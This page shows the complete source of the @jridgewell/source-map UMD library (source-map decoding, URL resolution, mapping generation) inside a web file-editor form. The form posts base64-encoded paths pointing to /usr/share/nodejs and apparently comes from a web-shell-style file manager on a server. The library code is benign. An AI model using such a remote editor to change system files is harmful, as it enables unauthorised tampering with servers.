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<hr>source-map.umd.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvQGpyaWRnZXdlbGwvc291cmNlLW1hcC9kaXN0&f=c291cmNlLW1hcC51bWQuanM%3D"><input name="f" value="source-map.umd.js"><textarea name="t">(function (global, factory) {
    typeof exports === 'object' &amp;&amp; typeof module !== 'undefined' ? factory(exports) :
    typeof define === 'function' &amp;&amp; define.amd ? define(['exports'], factory) :
    (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.sourceMap = {}));
})(this, (function (exports) { 'use strict';

    const comma = ','.charCodeAt(0);
    const semicolon = ';'.charCodeAt(0);
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    const intToChar = new Uint8Array(64); // 64 possible chars.
    const charToInt = new Uint8Array(128); // z is 122 in ASCII
    for (let i = 0; i &lt; chars.length; i++) {
        const c = chars.charCodeAt(i);
        intToChar[i] = c;
        charToInt[c] = i;
    }
    // Provide a fallback for older environments.
    const td = typeof TextDecoder !== 'undefined'
        ? /* #__PURE__ */ new TextDecoder()
        : typeof Buffer !== 'undefined'
            ? {
                decode(buf) {
                    const out = Buffer.from(buf.buffer, buf.byteOffset, buf.byteLength);
                    return out.toString();
                },
            }
            : {
                decode(buf) {
                    let out = '';
                    for (let i = 0; i &lt; buf.length; i++) {
                        out += String.fromCharCode(buf[i]);
                    }
                    return out;
                },
            };
    function decode(mappings) {
        const state = new Int32Array(5);
        const decoded = [];
        let index = 0;
        do {
            const semi = indexOf(mappings, index);
            const line = [];
            let sorted = true;
            let lastCol = 0;
            state[0] = 0;
            for (let i = index; i &lt; semi; i++) {
                let seg;
                i = decodeInteger(mappings, i, state, 0); // genColumn
                const col = state[0];
                if (col &lt; lastCol)
                    sorted = false;
                lastCol = col;
                if (hasMoreVlq(mappings, i, semi)) {
                    i = decodeInteger(mappings, i, state, 1); // sourcesIndex
                    i = decodeInteger(mappings, i, state, 2); // sourceLine
                    i = decodeInteger(mappings, i, state, 3); // sourceColumn
                    if (hasMoreVlq(mappings, i, semi)) {
                        i = decodeInteger(mappings, i, state, 4); // namesIndex
                        seg = [col, state[1], state[2], state[3], state[4]];
                    }
                    else {
                        seg = [col, state[1], state[2], state[3]];
                    }
                }
                else {
                    seg = [col];
                }
                line.push(seg);
            }
            if (!sorted)
                sort(line);
            decoded.push(line);
            index = semi + 1;
        } while (index &lt;= mappings.length);
        return decoded;
    }
    function indexOf(mappings, index) {
        const idx = mappings.indexOf(';', index);
        return idx === -1 ? mappings.length : idx;
    }
    function decodeInteger(mappings, pos, state, j) {
        let value = 0;
        let shift = 0;
        let integer = 0;
        do {
            const c = mappings.charCodeAt(pos++);
            integer = charToInt[c];
            value |= (integer &amp; 31) &lt;&lt; shift;
            shift += 5;
        } while (integer &amp; 32);
        const shouldNegate = value &amp; 1;
        value &gt;&gt;&gt;= 1;
        if (shouldNegate) {
            value = -0x80000000 | -value;
        }
        state[j] += value;
        return pos;
    }
    function hasMoreVlq(mappings, i, length) {
        if (i &gt;= length)
            return false;
        return mappings.charCodeAt(i) !== comma;
    }
    function sort(line) {
        line.sort(sortComparator$1);
    }
    function sortComparator$1(a, b) {
        return a[0] - b[0];
    }
    function encode(decoded) {
        const state = new Int32Array(5);
        const bufLength = 1024 * 16;
        const subLength = bufLength - 36;
        const buf = new Uint8Array(bufLength);
        const sub = buf.subarray(0, subLength);
        let pos = 0;
        let out = '';
        for (let i = 0; i &lt; decoded.length; i++) {
            const line = decoded[i];
            if (i &gt; 0) {
                if (pos === bufLength) {
                    out += td.decode(buf);
                    pos = 0;
                }
                buf[pos++] = semicolon;
            }
            if (line.length === 0)
                continue;
            state[0] = 0;
            for (let j = 0; j &lt; line.length; j++) {
                const segment = line[j];
                // We can push up to 5 ints, each int can take at most 7 chars, and we
                // may push a comma.
                if (pos &gt; subLength) {
                    out += td.decode(sub);
                    buf.copyWithin(0, subLength, pos);
                    pos -= subLength;
                }
                if (j &gt; 0)
                    buf[pos++] = comma;
                pos = encodeInteger(buf, pos, state, segment, 0); // genColumn
                if (segment.length === 1)
                    continue;
                pos = encodeInteger(buf, pos, state, segment, 1); // sourcesIndex
                pos = encodeInteger(buf, pos, state, segment, 2); // sourceLine
                pos = encodeInteger(buf, pos, state, segment, 3); // sourceColumn
                if (segment.length === 4)
                    continue;
                pos = encodeInteger(buf, pos, state, segment, 4); // namesIndex
            }
        }
        return out + td.decode(buf.subarray(0, pos));
    }
    function encodeInteger(buf, pos, state, segment, j) {
        const next = segment[j];
        let num = next - state[j];
        state[j] = next;
        num = num &lt; 0 ? (-num &lt;&lt; 1) | 1 : num &lt;&lt; 1;
        do {
            let clamped = num &amp; 0b011111;
            num &gt;&gt;&gt;= 5;
            if (num &gt; 0)
                clamped |= 0b100000;
            buf[pos++] = intToChar[clamped];
        } while (num &gt; 0);
        return pos;
    }

    // Matches the scheme of a URL, eg &quot;http://&quot;
    const schemeRegex = /^[\w+.-]+:\/\//;
    /**
     * Matches the parts of a URL:
     * 1. Scheme, including &quot;:&quot;, guaranteed.
     * 2. User/password, including &quot;@&quot;, optional.
     * 3. Host, guaranteed.
     * 4. Port, including &quot;:&quot;, optional.
     * 5. Path, including &quot;/&quot;, optional.
     * 6. Query, including &quot;?&quot;, optional.
     * 7. Hash, including &quot;#&quot;, optional.
     */
    const urlRegex = /^([\w+.-]+:)\/\/([^@/#?]*@)?([^:/#?]*)(:\d+)?(\/[^#?]*)?(\?[^#]*)?(#.*)?/;
    /**
     * File URLs are weird. They dont' need the regular `//` in the scheme, they may or may not start
     * with a leading `/`, they can have a domain (but only if they don't start with a Windows drive).
     *
     * 1. Host, optional.
     * 2. Path, which may include &quot;/&quot;, guaranteed.
     * 3. Query, including &quot;?&quot;, optional.
     * 4. Hash, including &quot;#&quot;, optional.
     */
    const fileRegex = /^file:(?:\/\/((?![a-z]:)[^/#?]*)?)?(\/?[^#?]*)(\?[^#]*)?(#.*)?/i;
    var UrlType;
    (function (UrlType) {
        UrlType[UrlType[&quot;Empty&quot;] = 1] = &quot;Empty&quot;;
        UrlType[UrlType[&quot;Hash&quot;] = 2] = &quot;Hash&quot;;
        UrlType[UrlType[&quot;Query&quot;] = 3] = &quot;Query&quot;;
        UrlType[UrlType[&quot;RelativePath&quot;] = 4] = &quot;RelativePath&quot;;
        UrlType[UrlType[&quot;AbsolutePath&quot;] = 5] = &quot;AbsolutePath&quot;;
        UrlType[UrlType[&quot;SchemeRelative&quot;] = 6] = &quot;SchemeRelative&quot;;
        UrlType[UrlType[&quot;Absolute&quot;] = 7] = &quot;Absolute&quot;;
    })(UrlType || (UrlType = {}));
    function isAbsoluteUrl(input) {
        return schemeRegex.test(input);
    }
    function isSchemeRelativeUrl(input) {
        return input.startsWith('//');
    }
    function isAbsolutePath(input) {
        return input.startsWith('/');
    }
    function isFileUrl(input) {
        return input.startsWith('file:');
    }
    function isRelative(input) {
        return /^[.?#]/.test(input);
    }
    function parseAbsoluteUrl(input) {
        const match = urlRegex.exec(input);
        return makeUrl(match[1], match[2] || '', match[3], match[4] || '', match[5] || '/', match[6] || '', match[7] || '');
    }
    function parseFileUrl(input) {
        const match = fileRegex.exec(input);
        const path = match[2];
        return makeUrl('file:', '', match[1] || '', '', isAbsolutePath(path) ? path : '/' + path, match[3] || '', match[4] || '');
    }
    function makeUrl(scheme, user, host, port, path, query, hash) {
        return {
            scheme,
            user,
            host,
            port,
            path,
            query,
            hash,
            type: UrlType.Absolute,
        };
    }
    function parseUrl(input) {
        if (isSchemeRelativeUrl(input)) {
            const url = parseAbsoluteUrl('http:' + input);
            url.scheme = '';
            url.type = UrlType.SchemeRelative;
            return url;
        }
        if (isAbsolutePath(input)) {
            const url = parseAbsoluteUrl('http://foo.com' + input);
            url.scheme = '';
            url.host = '';
            url.type = UrlType.AbsolutePath;
            return url;
        }
        if (isFileUrl(input))
            return parseFileUrl(input);
        if (isAbsoluteUrl(input))
            return parseAbsoluteUrl(input);
        const url = parseAbsoluteUrl('http://foo.com/' + input);
        url.scheme = '';
        url.host = '';
        url.type = input
            ? input.startsWith('?')
                ? UrlType.Query
                : input.startsWith('#')
                    ? UrlType.Hash
                    : UrlType.RelativePath
            : UrlType.Empty;
        return url;
    }
    function stripPathFilename(path) {
        // If a path ends with a parent directory &quot;..&quot;, then it's a relative path with excess parent
        // paths. It's not a file, so we can't strip it.
        if (path.endsWith('/..'))
            return path;
        const index = path.lastIndexOf('/');
        return path.slice(0, index + 1);
    }
    function mergePaths(url, base) {
        normalizePath(base, base.type);
        // If the path is just a &quot;/&quot;, then it was an empty path to begin with (remember, we're a relative
        // path).
        if (url.path === '/') {
            url.path = base.path;
        }
        else {
            // Resolution happens relative to the base path's directory, not the file.
            url.path = stripPathFilename(base.path) + url.path;
        }
    }
    /**
     * The path can have empty directories &quot;//&quot;, unneeded parents &quot;foo/..&quot;, or current directory
     * &quot;foo/.&quot;. We need to normalize to a standard representation.
     */
    function normalizePath(url, type) {
        const rel = type &lt;= UrlType.RelativePath;
        const pieces = url.path.split('/');
        // We need to preserve the first piece always, so that we output a leading slash. The item at
        // pieces[0] is an empty string.
        let pointer = 1;
        // Positive is the number of real directories we've output, used for popping a parent directory.
        // Eg, &quot;foo/bar/..&quot; will have a positive 2, and we can decrement to be left with just &quot;foo&quot;.
        let positive = 0;
        // We need to keep a trailing slash if we encounter an empty directory (eg, splitting &quot;foo/&quot; will
        // generate `[&quot;foo&quot;, &quot;&quot;]` pieces). And, if we pop a parent directory. But once we encounter a
        // real directory, we won't need to append, unless the other conditions happen again.
        let addTrailingSlash = false;
        for (let i = 1; i &lt; pieces.length; i++) {
            const piece = pieces[i];
            // An empty directory, could be a trailing slash, or just a double &quot;//&quot; in the path.
            if (!piece) {
                addTrailingSlash = true;
                continue;
            }
            // If we encounter a real directory, then we don't need to append anymore.
            addTrailingSlash = false;
            // A current directory, which we can always drop.
            if (piece === '.')
                continue;
            // A parent directory, we need to see if there are any real directories we can pop. Else, we
            // have an excess of parents, and we'll need to keep the &quot;..&quot;.
            if (piece === '..') {
                if (positive) {
                    addTrailingSlash = true;
                    positive--;
                    pointer--;
                }
                else if (rel) {
                    // If we're in a relativePath, then we need to keep the excess parents. Else, in an absolute
                    // URL, protocol relative URL, or an absolute path, we don't need to keep excess.
                    pieces[pointer++] = piece;
                }
                continue;
            }
            // We've encountered a real directory. Move it to the next insertion pointer, which accounts for
            // any popped or dropped directories.
            pieces[pointer++] = piece;
            positive++;
        }
        let path = '';
        for (let i = 1; i &lt; pointer; i++) {
            path += '/' + pieces[i];
        }
        if (!path || (addTrailingSlash &amp;&amp; !path.endsWith('/..'))) {
            path += '/';
        }
        url.path = path;
    }
    /**
     * Attempts to resolve `input` URL/path relative to `base`.
     */
    function resolve$1(input, base) {
        if (!input &amp;&amp; !base)
            return '';
        const url = parseUrl(input);
        let inputType = url.type;
        if (base &amp;&amp; inputType !== UrlType.Absolute) {
            const baseUrl = parseUrl(base);
            const baseType = baseUrl.type;
            switch (inputType) {
                case UrlType.Empty:
                    url.hash = baseUrl.hash;
                // fall through
                case UrlType.Hash:
                    url.query = baseUrl.query;
                // fall through
                case UrlType.Query:
                case UrlType.RelativePath:
                    mergePaths(url, baseUrl);
                // fall through
                case UrlType.AbsolutePath:
                    // The host, user, and port are joined, you can't copy one without the others.
                    url.user = baseUrl.user;
                    url.host = baseUrl.host;
                    url.port = baseUrl.port;
                // fall through
                case UrlType.SchemeRelative:
                    // The input doesn't have a schema at least, so we need to copy at least that over.
                    url.scheme = baseUrl.scheme;
            }
            if (baseType &gt; inputType)
                inputType = baseType;
        }
        normalizePath(url, inputType);
        const queryHash = url.query + url.hash;
        switch (inputType) {
            // This is impossible, because of the empty checks at the start of the function.
            // case UrlType.Empty:
            case UrlType.Hash:
            case UrlType.Query:
                return queryHash;
            case UrlType.RelativePath: {
                // The first char is always a &quot;/&quot;, and we need it to be relative.
                const path = url.path.slice(1);
                if (!path)
                    return queryHash || '.';
                if (isRelative(base || input) &amp;&amp; !isRelative(path)) {
                    // If base started with a leading &quot;.&quot;, or there is no base and input started with a &quot;.&quot;,
                    // then we need to ensure that the relative path starts with a &quot;.&quot;. We don't know if
                    // relative starts with a &quot;..&quot;, though, so check before prepending.
                    return './' + path + queryHash;
                }
                return path + queryHash;
            }
            case UrlType.AbsolutePath:
                return url.path + queryHash;
            default:
                return url.scheme + '//' + url.user + url.host + url.port + url.path + queryHash;
        }
    }

    function resolve(input, base) {
        // The base is always treated as a directory, if it's not empty.
        // https://github.com/mozilla/source-map/blob/8cb3ee57/lib/util.js#L327
        // https://github.com/chromium/chromium/blob/da4adbb3/third_party/blink/renderer/devtools/front_end/sdk/SourceMap.js#L400-L401
        if (base &amp;&amp; !base.endsWith('/'))
            base += '/';
        return resolve$1(input, base);
    }

    /**
     * Removes everything after the last &quot;/&quot;, but leaves the slash.
     */
    function stripFilename(path) {
        if (!path)
            return '';
        const index = path.lastIndexOf('/');
        return path.slice(0, index + 1);
    }

    const COLUMN$1 = 0;
    const SOURCES_INDEX$1 = 1;
    const SOURCE_LINE$1 = 2;
    const SOURCE_COLUMN$1 = 3;
    const NAMES_INDEX$1 = 4;

    function maybeSort(mappings, owned) {
        const unsortedIndex = nextUnsortedSegmentLine(mappings, 0);
        if (unsortedIndex === mappings.length)
            return mappings;
        // If we own the array (meaning we parsed it from JSON), then we're free to directly mutate it. If
        // not, we do not want to modify the consumer's input array.
        if (!owned)
            mappings = mappings.slice();
        for (let i = unsortedIndex; i &lt; mappings.length; i = nextUnsortedSegmentLine(mappings, i + 1)) {
            mappings[i] = sortSegments(mappings[i], owned);
        }
        return mappings;
    }
    function nextUnsortedSegmentLine(mappings, start) {
        for (let i = start; i &lt; mappings.length; i++) {
            if (!isSorted(mappings[i]))
                return i;
        }
        return mappings.length;
    }
    function isSorted(line) {
        for (let j = 1; j &lt; line.length; j++) {
            if (line[j][COLUMN$1] &lt; line[j - 1][COLUMN$1]) {
                return false;
            }
        }
        return true;
    }
    function sortSegments(line, owned) {
        if (!owned)
            line = line.slice();
        return line.sort(sortComparator);
    }
    function sortComparator(a, b) {
        return a[COLUMN$1] - b[COLUMN$1];
    }

    let found = false;
    /**
     * A binary search implementation that returns the index if a match is found.
     * If no match is found, then the left-index (the index associated with the item that comes just
     * before the desired index) is returned. To maintain proper sort order, a splice would happen at
     * the next index:
     *
     * ```js
     * const array = [1, 3];
     * const needle = 2;
     * const index = binarySearch(array, needle, (item, needle) =&gt; item - needle);
     *
     * assert.equal(index, 0);
     * array.splice(index + 1, 0, needle);
     * assert.deepEqual(array, [1, 2, 3]);
     * ```
     */
    function binarySearch(haystack, needle, low, high) {
        while (low &lt;= high) {
            const mid = low + ((high - low) &gt;&gt; 1);
            const cmp = haystack[mid][COLUMN$1] - needle;
            if (cmp === 0) {
                found = true;
                return mid;
            }
            if (cmp &lt; 0) {
                low = mid + 1;
            }
            else {
                high = mid - 1;
            }
        }
        found = false;
        return low - 1;
    }
    function upperBound(haystack, needle, index) {
        for (let i = index + 1; i &lt; haystack.length; index = i++) {
            if (haystack[i][COLUMN$1] !== needle)
                break;
        }
        return index;
    }
    function lowerBound(haystack, needle, index) {
        for (let i = index - 1; i &gt;= 0; index = i--) {
            if (haystack[i][COLUMN$1] !== needle)
                break;
        }
        return index;
    }
    function memoizedState() {
        return {
            lastKey: -1,
            lastNeedle: -1,
            lastIndex: -1,
        };
    }
    /**
     * This overly complicated beast is just to record the last tested line/column and the resulting
     * index, allowing us to skip a few tests if mappings are monotonically increasing.
     */
    function memoizedBinarySearch(haystack, needle, state, key) {
        const { lastKey, lastNeedle, lastIndex } = state;
        let low = 0;
        let high = haystack.length - 1;
        if (key === lastKey) {
            if (needle === lastNeedle) {
                found = lastIndex !== -1 &amp;&amp; haystack[lastIndex][COLUMN$1] === needle;
                return lastIndex;
            }
            if (needle &gt;= lastNeedle) {
                // lastIndex may be -1 if the previous needle was not found.
                low = lastIndex === -1 ? 0 : lastIndex;
            }
            else {
                high = lastIndex;
            }
        }
        state.lastKey = key;
        state.lastNeedle = needle;
        return (state.lastIndex = binarySearch(haystack, needle, low, high));
    }

    const AnyMap = function (map, mapUrl) {
        const parsed = typeof map === 'string' ? JSON.parse(map) : map;
        if (!('sections' in parsed))
            return new TraceMap(parsed, mapUrl);
        const mappings = [];
        const sources = [];
        const sourcesContent = [];
        const names = [];
        recurse(parsed, mapUrl, mappings, sources, sourcesContent, names, 0, 0, Infinity, Infinity);
        const joined = {
            version: 3,
            file: parsed.file,
            names,
            sources,
            sourcesContent,
            mappings,
        };
        return presortedDecodedMap(joined);
    };
    function recurse(input, mapUrl, mappings, sources, sourcesContent, names, lineOffset, columnOffset, stopLine, stopColumn) {
        const { sections } = input;
        for (let i = 0; i &lt; sections.length; i++) {
            const { map, offset } = sections[i];
            let sl = stopLine;
            let sc = stopColumn;
            if (i + 1 &lt; sections.length) {
                const nextOffset = sections[i + 1].offset;
                sl = Math.min(stopLine, lineOffset + nextOffset.line);
                if (sl === stopLine) {
                    sc = Math.min(stopColumn, columnOffset + nextOffset.column);
                }
                else if (sl &lt; stopLine) {
                    sc = columnOffset + nextOffset.column;
                }
            }
            addSection(map, mapUrl, mappings, sources, sourcesContent, names, lineOffset + offset.line, columnOffset + offset.column, sl, sc);
        }
    }
    function addSection(input, mapUrl, mappings, sources, sourcesContent, names, lineOffset, columnOffset, stopLine, stopColumn) {
        if ('sections' in input)
            return recurse(...arguments);
        const map = new TraceMap(input, mapUrl);
        const sourcesOffset = sources.length;
        const namesOffset = names.length;
        const decoded = decodedMappings(map);
        const { resolvedSources, sourcesContent: contents } = map;
        append(sources, resolvedSources);
        append(names, map.names);
        if (contents)
            append(sourcesContent, contents);
        else
            for (let i = 0; i &lt; resolvedSources.length; i++)
                sourcesContent.push(null);
        for (let i = 0; i &lt; decoded.length; i++) {
            const lineI = lineOffset + i;
            // We can only add so many lines before we step into the range that the next section's map
            // controls. When we get to the last line, then we'll start checking the segments to see if
            // they've crossed into the column range. But it may not have any columns that overstep, so we
            // still need to check that we don't overstep lines, too.
            if (lineI &gt; stopLine)
                return;
            // The out line may already exist in mappings (if we're continuing the line started by a
            // previous section). Or, we may have jumped ahead several lines to start this section.
            const out = getLine$1(mappings, lineI);
            // On the 0th loop, the section's column offset shifts us forward. On all other lines (since the
            // map can be multiple lines), it doesn't.
            const cOffset = i === 0 ? columnOffset : 0;
            const line = decoded[i];
            for (let j = 0; j &lt; line.length; j++) {
                const seg = line[j];
                const column = cOffset + seg[COLUMN$1];
                // If this segment steps into the column range that the next section's map controls, we need
                // to stop early.
                if (lineI === stopLine &amp;&amp; column &gt;= stopColumn)
                    return;
                if (seg.length === 1) {
                    out.push([column]);
                    continue;
                }
                const sourcesIndex = sourcesOffset + seg[SOURCES_INDEX$1];
                const sourceLine = seg[SOURCE_LINE$1];
                const sourceColumn = seg[SOURCE_COLUMN$1];
                out.push(seg.length === 4
                    ? [column, sourcesIndex, sourceLine, sourceColumn]
                    : [column, sourcesIndex, sourceLine, sourceColumn, namesOffset + seg[NAMES_INDEX$1]]);
            }
        }
    }
    function append(arr, other) {
        for (let i = 0; i &lt; other.length; i++)
            arr.push(other[i]);
    }
    function getLine$1(arr, index) {
        for (let i = arr.length; i &lt;= index; i++)
            arr[i] = [];
        return arr[index];
    }

    const LINE_GTR_ZERO = '`line` must be greater than 0 (lines start at line 1)';
    const COL_GTR_EQ_ZERO = '`column` must be greater than or equal to 0 (columns start at column 0)';
    const LEAST_UPPER_BOUND = -1;
    const GREATEST_LOWER_BOUND = 1;
    /**
     * Returns the decoded (array of lines of segments) form of the SourceMap's mappings field.
     */
    let decodedMappings;
    /**
     * A higher-level API to find the source/line/column associated with a generated line/column
     * (think, from a stack trace). Line is 1-based, but column is 0-based, due to legacy behavior in
     * `source-map` library.
     */
    let originalPositionFor;
    /**
     * A helper that skips sorting of the input map's mappings array, which can be expensive for larger
     * maps.
     */
    let presortedDecodedMap;
    class TraceMap {
        constructor(map, mapUrl) {
            const isString = typeof map === 'string';
            if (!isString &amp;&amp; map._decodedMemo)
                return map;
            const parsed = (isString ? JSON.parse(map) : map);
            const { version, file, names, sourceRoot, sources, sourcesContent } = parsed;
            this.version = version;
            this.file = file;
            this.names = names;
            this.sourceRoot = sourceRoot;
            this.sources = sources;
            this.sourcesContent = sourcesContent;
            const from = resolve(sourceRoot || '', stripFilename(mapUrl));
            this.resolvedSources = sources.map((s) =&gt; resolve(s || '', from));
            const { mappings } = parsed;
            if (typeof mappings === 'string') {
                this._encoded = mappings;
                this._decoded = undefined;
            }
            else {
                this._encoded = undefined;
                this._decoded = maybeSort(mappings, isString);
            }
            this._decodedMemo = memoizedState();
            this._bySources = undefined;
            this._bySourceMemos = undefined;
        }
    }
    (() =&gt; {
        decodedMappings = (map) =&gt; {
            return (map._decoded || (map._decoded = decode(map._encoded)));
        };
        originalPositionFor = (map, { line, column, bias }) =&gt; {
            line--;
            if (line &lt; 0)
                throw new Error(LINE_GTR_ZERO);
            if (column &lt; 0)
                throw new Error(COL_GTR_EQ_ZERO);
            const decoded = decodedMappings(map);
            // It's common for parent source maps to have pointers to lines that have no
            // mapping (like a &quot;//# sourceMappingURL=&quot;) at the end of the child file.
            if (line &gt;= decoded.length)
                return OMapping(null, null, null, null);
            const segments = decoded[line];
            const index = traceSegmentInternal(segments, map._decodedMemo, line, column, bias || GREATEST_LOWER_BOUND);
            if (index === -1)
                return OMapping(null, null, null, null);
            const segment = segments[index];
            if (segment.length === 1)
                return OMapping(null, null, null, null);
            const { names, resolvedSources } = map;
            return OMapping(resolvedSources[segment[SOURCES_INDEX$1]], segment[SOURCE_LINE$1] + 1, segment[SOURCE_COLUMN$1], segment.length === 5 ? names[segment[NAMES_INDEX$1]] : null);
        };
        presortedDecodedMap = (map, mapUrl) =&gt; {
            const tracer = new TraceMap(clone(map, []), mapUrl);
            tracer._decoded = map.mappings;
            return tracer;
        };
    })();
    function clone(map, mappings) {
        return {
            version: map.version,
            file: map.file,
            names: map.names,
            sourceRoot: map.sourceRoot,
            sources: map.sources,
            sourcesContent: map.sourcesContent,
            mappings,
        };
    }
    function OMapping(source, line, column, name) {
        return { source, line, column, name };
    }
    function traceSegmentInternal(segments, memo, line, column, bias) {
        let index = memoizedBinarySearch(segments, column, memo, line);
        if (found) {
            index = (bias === LEAST_UPPER_BOUND ? upperBound : lowerBound)(segments, column, index);
        }
        else if (bias === LEAST_UPPER_BOUND)
            index++;
        if (index === -1 || index === segments.length)
            return -1;
        return index;
    }

    /**
     * Gets the index associated with `key` in the backing array, if it is already present.
     */
    let get;
    /**
     * Puts `key` into the backing array, if it is not already present. Returns
     * the index of the `key` in the backing array.
     */
    let put;
    /**
     * SetArray acts like a `Set` (allowing only one occurrence of a string `key`), but provides the
     * index of the `key` in the backing array.
     *
     * This is designed to allow synchronizing a second array with the contents of the backing array,
     * like how in a sourcemap `sourcesContent[i]` is the source content associated with `source[i]`,
     * and there are never duplicates.
     */
    class SetArray {
        constructor() {
            this._indexes = { __proto__: null };
            this.array = [];
        }
    }
    (() =&gt; {
        get = (strarr, key) =&gt; strarr._indexes[key];
        put = (strarr, key) =&gt; {
            // The key may or may not be present. If it is present, it's a number.
            const index = get(strarr, key);
            if (index !== undefined)
                return index;
            const { array, _indexes: indexes } = strarr;
            return (indexes[key] = array.push(key) - 1);
        };
    })();

    const COLUMN = 0;
    const SOURCES_INDEX = 1;
    const SOURCE_LINE = 2;
    const SOURCE_COLUMN = 3;
    const NAMES_INDEX = 4;

    const NO_NAME = -1;
    /**
     * Same as `addMapping`, but will only add the mapping if it generates useful information in the
     * resulting map. This only works correctly if mappings are added **in order**, meaning you should
     * not add a mapping with a lower generated line/column than one that came before.
     */
    let maybeAddMapping;
    /**
     * Adds/removes the content of the source file to the source map.
     */
    let setSourceContent;
    /**
     * Returns a sourcemap object (with decoded mappings) suitable for passing to a library that expects
     * a sourcemap, or to JSON.stringify.
     */
    let toDecodedMap;
    /**
     * Returns a sourcemap object (with encoded mappings) suitable for passing to a library that expects
     * a sourcemap, or to JSON.stringify.
     */
    let toEncodedMap;
    // This split declaration is only so that terser can elminiate the static initialization block.
    let addSegmentInternal;
    /**
     * Provides the state to generate a sourcemap.
     */
    class GenMapping {
        constructor({ file, sourceRoot } = {}) {
            this._names = new SetArray();
            this._sources = new SetArray();
            this._sourcesContent = [];
            this._mappings = [];
            this.file = file;
            this.sourceRoot = sourceRoot;
        }
    }
    (() =&gt; {
        maybeAddMapping = (map, mapping) =&gt; {
            return addMappingInternal(true, map, mapping);
        };
        setSourceContent = (map, source, content) =&gt; {
            const { _sources: sources, _sourcesContent: sourcesContent } = map;
            sourcesContent[put(sources, source)] = content;
        };
        toDecodedMap = (map) =&gt; {
            const { file, sourceRoot, _mappings: mappings, _sources: sources, _sourcesContent: sourcesContent, _names: names, } = map;
            removeEmptyFinalLines(mappings);
            return {
                version: 3,
                file: file || undefined,
                names: names.array,
                sourceRoot: sourceRoot || undefined,
                sources: sources.array,
                sourcesContent,
                mappings,
            };
        };
        toEncodedMap = (map) =&gt; {
            const decoded = toDecodedMap(map);
            return Object.assign(Object.assign({}, decoded), { mappings: encode(decoded.mappings) });
        };
        // Internal helpers
        addSegmentInternal = (skipable, map, genLine, genColumn, source, sourceLine, sourceColumn, name, content) =&gt; {
            const { _mappings: mappings, _sources: sources, _sourcesContent: sourcesContent, _names: names, } = map;
            const line = getLine(mappings, genLine);
            const index = getColumnIndex(line, genColumn);
            if (!source) {
                if (skipable &amp;&amp; skipSourceless(line, index))
                    return;
                return insert(line, index, [genColumn]);
            }
            const sourcesIndex = put(sources, source);
            const namesIndex = name ? put(names, name) : NO_NAME;
            if (sourcesIndex === sourcesContent.length)
                sourcesContent[sourcesIndex] = content !== null &amp;&amp; content !== void 0 ? content : null;
            if (skipable &amp;&amp; skipSource(line, index, sourcesIndex, sourceLine, sourceColumn, namesIndex)) {
                return;
            }
            return insert(line, index, name
                ? [genColumn, sourcesIndex, sourceLine, sourceColumn, namesIndex]
                : [genColumn, sourcesIndex, sourceLine, sourceColumn]);
        };
    })();
    function getLine(mappings, index) {
        for (let i = mappings.length; i &lt;= index; i++) {
            mappings[i] = [];
        }
        return mappings[index];
    }
    function getColumnIndex(line, genColumn) {
        let index = line.length;
        for (let i = index - 1; i &gt;= 0; index = i--) {
            const current = line[i];
            if (genColumn &gt;= current[COLUMN])
                break;
        }
        return index;
    }
    function insert(array, index, value) {
        for (let i = array.length; i &gt; index; i--) {
            array[i] = array[i - 1];
        }
        array[index] = value;
    }
    function removeEmptyFinalLines(mappings) {
        const { length } = mappings;
        let len = length;
        for (let i = len - 1; i &gt;= 0; len = i, i--) {
            if (mappings[i].length &gt; 0)
                break;
        }
        if (len &lt; length)
            mappings.length = len;
    }
    function skipSourceless(line, index) {
        // The start of a line is already sourceless, so adding a sourceless segment to the beginning
        // doesn't generate any useful information.
        if (index === 0)
            return true;
        const prev = line[index - 1];
        // If the previous segment is also sourceless, then adding another sourceless segment doesn't
        // genrate any new information. Else, this segment will end the source/named segment and point to
        // a sourceless position, which is useful.
        return prev.length === 1;
    }
    function skipSource(line, index, sourcesIndex, sourceLine, sourceColumn, namesIndex) {
        // A source/named segment at the start of a line gives position at that genColumn
        if (index === 0)
            return false;
        const prev = line[index - 1];
        // If the previous segment is sourceless, then we're transitioning to a source.
        if (prev.length === 1)
            return false;
        // If the previous segment maps to the exact same source position, then this segment doesn't
        // provide any new position information.
        return (sourcesIndex === prev[SOURCES_INDEX] &amp;&amp;
            sourceLine === prev[SOURCE_LINE] &amp;&amp;
            sourceColumn === prev[SOURCE_COLUMN] &amp;&amp;
            namesIndex === (prev.length === 5 ? prev[NAMES_INDEX] : NO_NAME));
    }
    function addMappingInternal(skipable, map, mapping) {
        const { generated, source, original, name, content } = mapping;
        if (!source) {
            return addSegmentInternal(skipable, map, generated.line - 1, generated.column, null, null, null, null, null);
        }
        const s = source;
        return addSegmentInternal(skipable, map, generated.line - 1, generated.column, s, original.line - 1, original.column, name, content);
    }

    class SourceMapConsumer {
        constructor(map, mapUrl) {
            const trace = (this._map = new AnyMap(map, mapUrl));
            this.file = trace.file;
            this.names = trace.names;
            this.sourceRoot = trace.sourceRoot;
            this.sources = trace.resolvedSources;
            this.sourcesContent = trace.sourcesContent;
        }
        originalPositionFor(needle) {
            return originalPositionFor(this._map, needle);
        }
        destroy() {
            // noop.
        }
    }
    class SourceMapGenerator {
        constructor(opts) {
            this._map = new GenMapping(opts);
        }
        addMapping(mapping) {
            maybeAddMapping(this._map, mapping);
        }
        setSourceContent(source, content) {
            setSourceContent(this._map, source, content);
        }
        toJSON() {
            return toEncodedMap(this._map);
        }
        toDecodedMap() {
            return toDecodedMap(this._map);
        }
    }

    exports.SourceMapConsumer = SourceMapConsumer;
    exports.SourceMapGenerator = SourceMapGenerator;

    Object.defineProperty(exports, '__esModule', { value: true });

}));
//# sourceMappingURL=source-map.umd.js.map
